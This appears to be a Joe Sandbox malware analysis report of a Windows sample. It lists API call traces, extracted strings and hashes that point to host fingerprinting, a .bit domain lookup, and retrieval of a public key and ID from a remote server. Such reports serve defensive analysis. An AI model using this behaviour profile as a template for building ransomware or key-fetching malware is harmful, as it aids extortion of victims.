_wcsstr.LIBCMT ref: 0079E7AE
_memmove.LIBCMT ref: 0079E838
lstrcpyW.KERNEL32(?,?), ref: 0079E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0079E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0079E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0079E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0079E9CD
InternetCloseHandle.WININET(00000000), ref: 0079E9F3
InternetCloseHandle.WININET(00000000), ref: 0079E9F6
_strstr.LIBCMT ref: 0079EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EA74
DeleteFileA.KERNEL32(?), ref: 0079EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0079EA92
lstrcpyA.KERNEL32(?,?), ref: 0079EAA4
lstrcpyA.KERNEL32(?,?), ref: 0079EABA
lstrlenA.KERNEL32(?), ref: 0079EAC8
lstrlenA.KERNEL32(00000022), ref: 0079EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0079EB5B
lstrlenA.KERNEL32(?), ref: 0079EB7C
_malloc.LIBCMT ref: 0079EB86
_memset.LIBCMT ref: 0079EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0079EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0079EBB6
_strstr.LIBCMT ref: 0079EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EC24
DeleteFileA.KERNEL32(?), ref: 0079EC32
lstrlenW.KERNEL32(?), ref: 0079EC3E
lstrlenA.KERNEL32(","id":"), ref: 0079EC51
lstrcpyA.KERNEL32(?,?), ref: 0079EC6D
lstrcpyA.KERNEL32(?,?), ref: 0079EC7F
lstrlenA.KERNEL32(?), ref: 0079EC93
lstrlenA.KERNEL32(00000022), ref: 0079ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0079ED2A
lstrlenA.KERNEL32(?), ref: 0079ED4B
_malloc.LIBCMT ref: 0079ED55
_memset.LIBCMT ref: 0079ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0079ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0079ED85
lstrlenW.KERNEL32(?), ref: 0079EDA3
lstrlenW.KERNEL32(?), ref: 0079EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EDF7
DeleteFileA.KERNEL32(?), ref: 0079EE05
_free.LIBCMT ref: 0079EE15
_free.LIBCMT ref: 0079EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0079EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0079EFBF

Strings

", xrefs: 0079ECA0
Microsoft Internet Explorer, xrefs: 0079E736
{"public_key":", xrefs: 0079EA2E, 0079EA8D
&first=true, xrefs: 0079E930
&first=false, xrefs: 0079E937
.bit/, xrefs: 0079E7A3
bowsakkdestx.txt, xrefs: 0079E996, 0079EA67, 0079EC17, 0079EDEA
","id":", xrefs: 0079EBC5, 0079EC4C
?pid=, xrefs: 0079E884

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 0392a0b66af976ab379f9d3c832bdfa9bfff077215c57c39fdf9f885792b114a
Instruction ID: cc9df2c2203cc69b0cff1316a84a334fe7be67631a80ca17056ee80a2a8138e8
Opcode Fuzzy Hash: 0392a0b66af976ab379f9d3c832bdfa9bfff077215c57c39fdf9f885792b114a
Instruction Fuzzy Hash: E842E671508341EBDB20EF24DC49B9B7BE8BF85304F04091DF58597292EB79E609CBA2

Function 0078DD40 Relevance: 46.2, APIs: 22, Strings: 4, Instructions: 735stringnetworkmemoryCOMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 0078DD8D
_wcsstr.LIBCMT ref: 0078DDB6
_memset.LIBCMT ref: 0078DDE4
lstrlenW.KERNEL32(?), ref: 0078DE0A
gethostbyname.WS2_32(00880134), ref: 0078DEA7
inet_ntoa.WS2_32(?), ref: 0078DEC7

Part of subcall function 007CF26C: std::exception::exception.LIBCMT ref: 007CF27F
Part of subcall function 007CF26C: __CxxThrowException@8.LIBCMT ref: 007CF294
Part of subcall function 007CF26C: std::exception::exception.LIBCMT ref: 007CF2AD
Part of subcall function 007CF26C: __CxxThrowException@8.LIBCMT ref: 007CF2C2
Part of subcall function 007CF26C: std::regex_error::regex_error.LIBCPMT ref: 007CF2D4
Part of subcall function 007CF26C: __CxxThrowException@8.LIBCMT ref: 007CF2E2
Part of subcall function 007CF26C: std::exception::exception.LIBCMT ref: 007CF2FB
Part of subcall function 007CF26C: __CxxThrowException@8.LIBCMT ref: 007CF310

_memmove.LIBCMT ref: 0078DF8C
_memmove.LIBCMT ref: 0078DFFC
_wcsstr.LIBCMT ref: 0078E06C
LocalAlloc.KERNEL32(00000040,00000008), ref: 0078E07E
inet_addr.WS2_32(?), ref: 0078E0C1
DnsQuery_W.DNSAPI(?,00000002,00000002,?,?,00000000), ref: 0078E0E5
inet_ntoa.WS2_32(?), ref: 0078E103
_memmove.LIBCMT ref: 0078E33B
_memmove.LIBCMT ref: 0078E40F
LocalFree.KERNEL32(?), ref: 0078E495
DnsFree.DNSAPI(?,00000001), ref: 0078E4A0
_memset.LIBCMT ref: 0078E4BC
lstrcpyW.KERNEL32(?,http://), ref: 0078E4D0
lstrcatW.KERNEL32(?,00000000), ref: 0078E523
lstrcatW.KERNEL32(?,?), ref: 0078E549
lstrcatW.KERNEL32(?,?), ref: 0078E56A

Strings

http://, xrefs: 0078DD83, 0078E4CA
vector<T> too long, xrefs: 0078E54D
https://, xrefs: 0078DDAC
invalid string position, xrefs: 0078DEEA

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_memmove$_wcsstrlstrcatstd::exception::exception$FreeLocal_memsetinet_ntoa$AllocQuery_gethostbynameinet_addrlstrcpylstrlenstd::regex_error::regex_error
String ID: http://$https://$invalid string position$vector<T> too long
API String ID: 2428799424-3687932381
Opcode ID: 647538382571ad6108f16e3960f4fea30c492c6a430e727991540401c603ab2e
Instruction ID: 22c99c50564ef0a91bed246531d867be386e8f06b0eaf58eb77e02d4f4af3721
Opcode Fuzzy Hash: 647538382571ad6108f16e3960f4fea30c492c6a430e727991540401c603ab2e
Instruction Fuzzy Hash: 2652EF71E00209DFDF24EF68CC887AEBBF5BF45304F144569E806AB282E7799945CB91

Function 00790FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00791010
__CxxThrowException@8.LIBCMT ref: 00791026

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,?,0088793C,?,?,?,?,?,007A3B9C,?,0088793C,?,00000001), ref: 007B0F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0079103B
__CxxThrowException@8.LIBCMT ref: 00791051
lstrlenA.KERNEL32(?,00000000), ref: 00791059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00791064
__CxxThrowException@8.LIBCMT ref: 0079107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00791099
__CxxThrowException@8.LIBCMT ref: 007910AB
_memset.LIBCMT ref: 007910CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 007910DE
__CxxThrowException@8.LIBCMT ref: 007910F0
_malloc.LIBCMT ref: 00791100
_memset.LIBCMT ref: 0079110B
_sprintf.LIBCMT ref: 0079112E
lstrcatA.KERNEL32(?,?), ref: 0079113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00791154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0079115F

Strings

%.2X, xrefs: 00791128

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 51f558c25e389247f21cd7106550f2fc180c559f0db89ebaa8d42ee0b775f4c3
Instruction ID: 61e913d1650d8a742193ca01553eb969c2bfb6574d0ac78ddb22d065dcd885ca
Opcode Fuzzy Hash: 51f558c25e389247f21cd7106550f2fc180c559f0db89ebaa8d42ee0b775f4c3
Instruction Fuzzy Hash: 8B513B71D40209EADB20ABA4DC4AFEFBBB8FB05744F100125FA00F6291E7795A018BA5

Function 00791900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00791915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00791932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00791941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00791948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00791956
lstrcpyW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00791962
lstrcatW.KERNEL32(00000000, failed with error ,?,00000400,?,00000000,00000000), ref: 00791974
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 0079198B
lstrcatW.KERNEL32(00000000,00880260,?,00000400,?,00000000,00000000), ref: 00791993
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00791999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 007919A3
_memset.LIBCMT ref: 007919B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 007919DC

Part of subcall function 00792BA0: lstrlenW.KERNEL32(?), ref: 00792BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00791A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00791A04

Strings

failed with error , xrefs: 0079196E

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: dbab81fb932abd5d70819ac0fc1585bf943605e36e08d35e1365c3b891657b97
Instruction ID: 96dfa17e4fe04f196213155b48c196b22685831f68e15f87da6b5567d401d63a
Opcode Fuzzy Hash: dbab81fb932abd5d70819ac0fc1585bf943605e36e08d35e1365c3b891657b97
Instruction Fuzzy Hash: 7A212935A41218FBEB516B609C4AF6E3A7CFF86B11F100015FA05B2291DF782D01DBE5

Function 0078F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00791AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791ACA
Part of subcall function 00791AB0: DispatchMessageW.USER32(?), ref: 00791AE0
Part of subcall function 00791AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0078F900
_memmove.LIBCMT ref: 0078F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0078FA51
_memmove.LIBCMT ref: 0078FADA

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: b84a44158f3bdf20e02210db2f848d614d2b31bfec3047bd7952c87c8603bba5
Instruction ID: 57611c1611281e487256ac839fe204d376ac633a1ae5bae33c7c8be9674802a6
Opcode Fuzzy Hash: b84a44158f3bdf20e02210db2f848d614d2b31bfec3047bd7952c87c8603bba5
Instruction Fuzzy Hash: 96528E71D00208DFDF10EFA8D899BDEB7B5FF05308F108169E419A7251E779AA49CBA1

Function 0078E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,0087FCA4,00000000,00000000), ref: 0078E8CE
__CxxThrowException@8.LIBCMT ref: 0078E8E4

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,?,0088793C,?,?,?,?,?,007A3B9C,?,0088793C,?,00000001), ref: 007B0F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0078E8F9
__CxxThrowException@8.LIBCMT ref: 0078E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0078E928
__CxxThrowException@8.LIBCMT ref: 0078E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0078E95D
__CxxThrowException@8.LIBCMT ref: 0078E96F
_memset.LIBCMT ref: 0078E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0078E9A2
__CxxThrowException@8.LIBCMT ref: 0078E9B4
_sprintf.LIBCMT ref: 0078E9D3

Strings

%.2X, xrefs: 0078E9CD

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: a4cf773103d15d801a6455d0687742272fe229e451ef11d0bf8df9a33806d684
Instruction ID: e166631dd857e308e2d02100c9265d0a1261c420f1ff4fcdb160adbd373b40b5
Opcode Fuzzy Hash: a4cf773103d15d801a6455d0687742272fe229e451ef11d0bf8df9a33806d684
Instruction Fuzzy Hash: 7E515071D40209EADF11EFA4DC46FEEBBB8FB05704F104525F911B6281E7B9AA05CBA1

Function 0078EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,0087FCA4,00000000), ref: 0078EB01
__CxxThrowException@8.LIBCMT ref: 0078EB17

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,?,0088793C,?,?,?,?,?,007A3B9C,?,0088793C,?,00000001), ref: 007B0F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0078EB2C
__CxxThrowException@8.LIBCMT ref: 0078EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0078EB4E
__CxxThrowException@8.LIBCMT ref: 0078EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0078EB83
__CxxThrowException@8.LIBCMT ref: 0078EB95
_memset.LIBCMT ref: 0078EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0078EBC8
__CxxThrowException@8.LIBCMT ref: 0078EBDA
_sprintf.LIBCMT ref: 0078EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0078EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0078EC4F

Strings

%.2X, xrefs: 0078EBEE

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 2b04464bb5bf595da2a918985ec1b645b258a190eab1bfb8cc15a284e5bc4ca5
Instruction ID: 7d37b51176348cfcc58a6ee298d9039bcf122856a936a7253a3ae8322b8e8a30
Opcode Fuzzy Hash: 2b04464bb5bf595da2a918985ec1b645b258a190eab1bfb8cc15a284e5bc4ca5
Instruction Fuzzy Hash: 3E515371E40209EADF21EFA0DC46FEEBBB8FB44704F100525F901B6281E779A9058BA4

Function 008022E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007D49A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,007D4B72), ref: 007D49C7
Part of subcall function 007D49A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 007D49D7
Part of subcall function 007D49A0: GetDesktopWindow.USER32 ref: 007D49FB
Part of subcall function 007D49A0: GetProcessWindowStation.USER32(?,007D4B72), ref: 007D4A01
Part of subcall function 007D49A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,007D4B72), ref: 007D4A1C
Part of subcall function 007D49A0: GetLastError.KERNEL32(?,007D4B72), ref: 007D4A2A
Part of subcall function 007D49A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,007D4B72), ref: 007D4A65
Part of subcall function 007D49A0: _wcsstr.LIBCMT ref: 007D4A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00802316
CreateCompatibleDC.GDI32(00000000), ref: 00802323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00802338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00802341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0080234E
SelectObject.GDI32(00000000,00000000), ref: 0080235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0080236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 008023CA
GetBitmapBits.GDI32(?,?,00000000), ref: 008023D6
SelectObject.GDI32(?,?), ref: 00802436
DeleteObject.GDI32(00000000), ref: 0080243D
DeleteDC.GDI32(?), ref: 0080244A
DeleteDC.GDI32(?), ref: 00802450

Strings

DISPLAY, xrefs: 00802311
.\crypto\rand\rand_win.c, xrefs: 00802383

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0bb41bc31c21674d6122bf288d9e7c598fb4f75a0c4088d96f24a010a799a77a
Instruction ID: 822e090c534d6fc79e019ce6b7606dafa63e90e746289f9b5abfed4b7d65ab04
Opcode Fuzzy Hash: 0bb41bc31c21674d6122bf288d9e7c598fb4f75a0c4088d96f24a010a799a77a
Instruction Fuzzy Hash: 0F417175944700EBD3605BB59C4AB2BBBFCFF8A710F10451AFA54D62A1E7B59800CBA2

Function 0078E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0078E67F

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(005C0000,00000000,00000001,?,?,?,?,007A3B69,?), ref: 007A0CA5

_malloc.LIBCMT ref: 0078E68B
_wprintf.LIBCMT ref: 0078E69E
_free.LIBCMT ref: 0078E6A4

Part of subcall function 007A0BED: HeapFree.KERNEL32(00000000,00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0078E6B9
_free.LIBCMT ref: 0078E6C5
_malloc.LIBCMT ref: 0078E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0078E6E0
_sprintf.LIBCMT ref: 0078E720
_wprintf.LIBCMT ref: 0078E732
_wprintf.LIBCMT ref: 0078E73C
_free.LIBCMT ref: 0078E745

Strings

Address: %s, mac: %s, xrefs: 0078E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0078E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0078E699

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 166b8d4321646b9356bf8d92bb534ddf62885b86f7aca8faf6ab5b2fcc5b9dda
Instruction ID: e4ac994b507d3602c0435a3145dab51fefb86d60508326118355205af15cb6e1
Opcode Fuzzy Hash: 166b8d4321646b9356bf8d92bb534ddf62885b86f7aca8faf6ab5b2fcc5b9dda
Instruction Fuzzy Hash: 9E1166B6A01654BAD2B1B3B40C0AEFF76DC9F87711F0406A5FE98D1142E60C5A0097F2

Function 00790160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00791AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791ACA
Part of subcall function 00791AB0: DispatchMessageW.USER32(?), ref: 00791AE0
